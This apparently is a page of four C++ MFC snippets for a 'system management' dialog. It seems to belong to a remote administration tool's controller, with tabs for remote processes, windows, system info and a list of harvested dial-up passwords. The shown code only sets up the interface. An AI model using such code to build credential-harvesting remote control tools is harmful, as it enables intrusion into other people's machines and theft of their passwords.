Example #1
0
BOOL CSystemDlg::OnInitDialog()
{
	CDialogEx::OnInitDialog();

	// TODO:  在此添加额外的初始化
	SetIcon(m_hIcon, TRUE);
	SetIcon(m_hIcon, FALSE);

	//得到客户端的IP并显示到窗口的标题
	CString str;
	sockaddr_in sockAddr;
	ZeroMemory(&sockAddr, sizeof(sockAddr));
	int nSockAddrLen = sizeof(sockAddr);
	int nResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
	str.Format("\\\\%s - 系统管理", (nResult != SOCKET_ERROR) ? inet_ntoa(sockAddr.sin_addr) : "");
	SetWindowText(str);

	m_tab.InsertItem(0, "进程管理");
	m_tab.InsertItem(1, "窗口管理");

	m_list_process.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);  //初始化进程的列表
	m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
	m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
	m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);
	m_ProcessListWidth = 100 + 50 + 400;

	m_list_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);  //初始化 窗口管理的列表
	m_list_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50);
	m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300);
	m_WindowsListWidth = 50 + 300;

	AdjustList();			//调整列表大小
	
	ShowProcessList();
	if (bWindows)
	{
		m_tab.SetCurSel(1);
		//ShowWindowsList();
		//GetWindowsList();
	}
	
	ShowSelectWindow();
	return TRUE;  // return TRUE unless you set the focus to a control
	// 异常: OCX 属性页应返回 FALSE
}
Example #2
0
void CSystemDlg::OnSelchangeTab(NMHDR* pNMHDR, LRESULT* pResult)
{
    // TODO: Add your control notification handler code here
    ShowSelectWindow();
    *pResult = 0;
}
Example #3
0
BOOL CSystemDlg::OnInitDialog()
{
    CDialog::OnInitDialog();


    // TODO: Add extra initialization here
    SetIcon(m_hIcon, TRUE);			// Set big icon
    SetIcon(m_hIcon, FALSE);		// Set small icon


    CString str;
    sockaddr_in  sockAddr;
    memset(&sockAddr, 0, sizeof(sockAddr));
    int nSockAddrLen = sizeof(sockAddr);
    BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
    str.Format("\\\\%s - 系统管理", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
    SetWindowText(str);

    m_tab.InsertItem(0, "进程管理");
    m_tab.InsertItem(1, "窗口管理");
    m_tab.InsertItem(2, "拨号密码");
    m_tab.InsertItem(3, "系统信息");

    m_info.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT);
    m_info.InsertColumn(0, "属性", LVCFMT_LEFT, 100);
    m_info.InsertColumn(1, "内容", LVCFMT_LEFT, 340);

    m_list_process.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT);
    m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
    m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
    m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 290);

    m_list_windows.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT);
    m_list_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 70);
    m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 370);

    m_list_dialupass.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT);
    m_list_dialupass.InsertColumn(0, "名称", LVCFMT_LEFT, 70);
    m_list_dialupass.InsertColumn(1, "用户", LVCFMT_LEFT, 85);
    m_list_dialupass.InsertColumn(2, "密码", LVCFMT_LEFT, 75);
    m_list_dialupass.InsertColumn(3, "电话/主机", LVCFMT_LEFT, 80);
    m_list_dialupass.InsertColumn(5, "设备", LVCFMT_LEFT, 130);


    m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1);
    m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_ICOINFO_PROCESS));
    m_list_process.SetImageList(&m_ImgList,LVSIL_SMALL);

    m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1);
    m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_ICOINFO_APPWIN));
    m_list_windows.SetImageList(&m_ImgList,LVSIL_SMALL);

    m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1);
    m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_ICON_NET));
    m_list_dialupass.SetImageList(&m_ImgList,LVSIL_SMALL);

    m_ImgList.Create(16, 16,ILC_COLOR8|ILC_MASK,15,1);
    m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_FATHER_ICON));
    m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_SYSTEM));
    m_info.SetImageList(&m_ImgList,LVSIL_SMALL);

    AdjustList();
    ShowProcessList();
    ShowSelectWindow();
    return TRUE;  // return TRUE unless you set the focus to a control
    // EXCEPTION: OCX Property Pages should return FALSE
}
Example #4
0
void CSystemDlg::OnTcnSelchangeTab1(NMHDR *pNMHDR, LRESULT *pResult)
{
	// TODO: 在此添加控件通知处理程序代码
	ShowSelectWindow();
	*pResult = 0;
}